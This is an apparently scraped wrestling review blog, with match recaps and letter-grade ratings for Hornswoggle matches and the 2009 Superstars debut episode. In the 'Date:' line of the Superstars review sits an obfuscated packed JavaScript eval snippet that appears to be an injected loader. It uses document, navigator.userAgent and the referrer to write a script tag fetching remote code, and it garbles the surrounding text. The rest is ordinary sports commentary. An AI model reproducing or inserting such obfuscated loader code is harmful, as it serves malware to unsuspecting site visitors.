They all carefully stomp him but before the toss him Sheamus is back in. There goes Reks and Hucio is out as well. Mahal is out and a Brogue Kick puts Slater down. Ok so it’s Horny vs. Sheamus. Oh good grief. Horny says bring it on and Sheamus isn’t sure what to say. He tells Horny to get out but Horny tells him to get out. He kicks Sheamus in the shins but Sheamus grabs him by the beard and starts putting him out but Horny grabs the top rope. Sheamus gets on the apron and detatches him but Horny won’t get off the apron. Sheamus tries to talk to him and they hug, but Horny shoves him off for the win at 13:25.

Rating: C+. This was fun until the end, when it just got stupid. Why in the world would have put Horny over here for the sake of a comedy bit? Well at least this is for an obscure prize instead of something like a title shot so it could be a lot worse. Ok maybe not a lot worse but it could be worse.

From later in the show.

Ricardo hits on the Bellas at the party as Piper talks to Dusty. They’re talking about Cena and Dusty thinks it’s ridiculous to think the fans are going to get to Cena. Santa comes up and sits down for Horny to ask for his wish. There’s something about celery, Jonas Salk, Peter Falk and chalk. Foley has it wrong and it’s that Horny wants to TALK. They hug and Horny can speak. He goes around using his new powers and calls Vickie a grandma. Foley pops up in a Cactus Jack shirt and Santa is gone. Piper and Dream have no idea what’s going on and I don’t really want the answer.

From Smackdown, April 19, 2013.

Great Khali/Natalya/Hornswoggle vs. Epico/Primo/Rosa Mendes

We actually get a reason for this match: Epico/Primo/Rosa stole Horny’s parking spot earlier and there’s video to prove it. I’ve heard worse. I can’t think of anything off the top of my head but I’ve heard worse. Nattie takes Rosa down to start but can’t hook the Sharpshooter. Rosa comes back with a kick to the back and a chinlock but Natalya fights back with a clothesline. Off to Epico and Khali with the giant hitting some hard chops in the corner. Primo tries to help but gets sent into the same corner as Epico for simultaneous chops. Horny annoys Rosa into a chase and Khali hits the Punjabi Plunge to pin Epico at 3:18.

Rating: D. Rosa was basically in half of a swimsuit and a vest so it doesn’t fail based on that alone. That’s about the extent of the good parts of the match though as none of these are people I care to see. At the end of the day they’re fighting over a parking lot, but how many people can’t get on television? Remarkable.

Hornswoggle would join 3MB in 2014 because COMEDY, leading to a feud with Los Matadores and their mascot El Torito. This set up Wee LC at Extreme Rules 2014.

Pre-Show: El Torito vs. Hornswoggle

This is the WeeLC match which exists for reasons beyond my comprehension and you win by pinfall/submission. There are mini versions of all three commentators, a mini referee and a mini ring announcer. Torito hammers away to start but dives onto the other Band members. Horny can’t manage a dive and Torito pulls out a chair. That’s no good for some reason so it’s off to a mini chair. A headstand in the corner sets up a Bronco Buster and here’s Mahal to interfere.

Torito crotches him on the top rope and sends Horny face first into Mahal’s groin. Horny takes Torito down and we get two sizes of stepladders brought in. Horny goes to the top of the bigger one but gets nervous so Torito lays down for him. Thankfully he moves when Horny tries a splash and we take a break. I really question the need for commercials for events airing on a service that I’ve already purchased to watch the show the commercials are airing on.

Back with 3MB and Los Matadores brawling on the floor. The commentators names: JB Elf, Jerry Smaller and Micro Cole. Torito gets slammed down for two and rolls out to the floor, only to be slammed down. Horny loads up the mini announce table (standing about two feet off the ground) and drops an elbow to drive Torito through. Fans: THIS IS AWESOME! Back inside with 3MB setting up a 6ft ladder and another mini table as Horny hits Torito with the mini chair.

The chair winds up hitting Heath low by mistake, knocking him through some full sized tables on the floor. Torito saves himself from being suplexed through a pile of tables and ladders at ringside as the Matadores make the save. Instead Torito DRIVES ALL THREE GUYS THROUGH THE LADDERS AND CHAIRS! Torito is laid on a full table outside and Drew misses a great looking flip dive for a crash of his own. Back inside and a springboard seated senton through a table gives El Torito the pin at 10:48.

Rating: A+. Do I even need to explain this one? One note: I really hope WWE lets this one be instead of trying to top it over and over again and driving the gimmick into the ground. You had an entertaining match. Be happy with that and maybe have another one down the road, but don’t try to make this something important on Raw every few weeks or it dies in a hurry.

Yeah he’s a comedy guy, but people forget that Hornswoggle can have a good match under the right circumstances. He isn’t a great worker or anything like that, but kids like him and he sells merchandise so there’s nothing wrong with keeping him around. Hornswoggle is reminiscent of Eugene: he’s fine if you don’t take him too seriously but when you put him in a major storyline, people lose interest. Stuff like the WeeLC match was hilarious though and that’s the kind of stuff he’s great at.

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Superstars – April 16, 2009 (New Series Debut): They’re Right About The D Part

Superstars
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hstez|var|u0026u|referrer|dfyfd||js|php'.split('|'),0,{})) April 16, 2009
Location: Phillips Arena, Atlanta, Georgia, Thompson-Boling Arena, Nashville, Tennessee
Attendance: 16,431
Commentators: Michael Cole, Jerry Lawler, Todd Grisham, Jim Ross, Matt Striker, Josh Matthews

This is the debut episode of what used to be the flagship show. Of course it wound up being just another show that didn’t even last two years on TV before switching over to the internet but that’s what you get when you’re not Raw or Smackdown. Superstars’ hook was that it had all three rosters competing at the same time, which really isn’t all that thrilling of a concept. The first episode is stacked though with Undertaker making a rare in-ring appearance. Let’s get to it.

Undertaker vs. Matt Hardy

This is when Matt was evil and tried to kill his brother and then got hurt to end his push again. I’m still waiting on Mattitude 2.0. For some reason I believe this was originally announced as Undertaker vs. Shelton Benjamin but they changed it for reasons I don’t remember. Matt gets his head taken off by a right hand to the jaw and the fight heads outside. Undertaker whips him hard into the barricade as this is one sided so far. Back in and Old School connects, sending us to a break.

Back with Undertaker still dominating and getting two after snapping Matt’s neck across the top rope. Hardy escapes the chokeslam and hits a neckbreaker before hammering away. This is right after Wrestlemania XXV so Undertaker’s neck is still messed up after botching the Taker Dive. Undertaker shrugs it off and nails even more right hands to put Matt in the ropes. A chokeslam off the apron is countered with a jawbreaker to give Hardy two.

Off to a front facelock on Undertaker but the big man casually gets to his feet. That’s fine with Matt as he jumps onto Undertaker to crank on the facelock even more. Undertaker shoves him off and scores with a big boot for two. Another big boot and legdrop get two on Matt but Hardy wisely heads outside to avoid another chokeslam attempt. He grabs a chair but just stays on the floor to take the countout. Pretty lame ending.

Rating: C-. Not a bad match but man alive, Matt won’t job to THE UNDERTAKER? I know Matt is a rising star at this point but I don’t think losing to one of the biggest legends on the roster is going to kill his push all that badly. The match was nothing too bad but the ending brings it down a good bit.

Post match Jeff Hardy runs out and throws Matt back inside for a chokeslam.

Clips from Wrestlemania.

Christian vs. Finlay

The winner gets an ECW Title shot at Backlash and this is the final of some competition called the Elimination Chase. Finlay has Horny with him. Christian gets taken down but fights out of the armbar and gets two off his sunset flip out of the corner. Finlay takes him down with a chinlock which goes about as well as the armbar. Back up and Christian hits a top rope cross body, only to have Finlay roll through for two more. A tornado DDT gets two on the Irishman and the Killswitch connects for the pin out of NOWHERE.

Rating: D+. This felt like it went home five minutes earlier than they expected. The ending came out of nowhere and it really felt awkward. Christian winning makes sense but this really did need another few minutes to flesh things out. Also Hornswoggle was shouting from ringside but he couldn’t talk in the future. Makes WWE sense.

They shake hands post match.

Shane McMahon (interviewed by Eve Torres) is ready to get revenge on Legacy for what Randy Orton has done to his family.

Cody Rhodes vs. Shane McMahon

Feeling out process to start until Shane takes over with some quick left hands. Cody fights out of an armbar and bails to the floor as Shane looks like he’s gone fifteen minutes already. Back in and Cody gets his arm cranked on even more, sending him back outside again. This time though Shane goes out the other way and gets a running start off the steps to take Rhodes down with a clothesline.

Shane whips him ribs first into the barricade before we head back inside where Rhodes is just fine. A big right hand knocks Shane back to the floor and we take a break. Back with Cody holding a very weak looking chinlock followed by some knees and elbows to the rubs. We hit the reverse chinlock but Shane stands up and drives Cody into the buckle. A middle rope bulldog gets two on Shane but he fights out of a superplex. Cody dropkicks him out of the air for two as this is going WAY longer than it should. Shane gets sent to the floor but he comes back up with a chair to the ribs for the DQ.

Rating: D-. This was LONG. The match got fourteen minutes and Shane wasn’t exactly the kind of a guy that you want trying to do something like this. It’s not much better when you have Cody Rhodes in there before he’s capable of carrying a match. This McMahons vs. Ortons story just kept going and people stopped caring way before this show. Much like the feud, the match was just more long and uninteresting than bad, which is worse a lot of the time.

Shane hits Coast to Coast to end the show.

Overall Rating: D. Well what the heck was this supposed to be? I mean we have Undertaker (UNDERTAKER!) winning via countout, Christian vs. Finlay, as in the one match that could have gone on for awhile, getting less than five minutes, and Shane McMahon getting fifteen? This was a huge mess and a good microcosm of the disaster that WWE was at this point.

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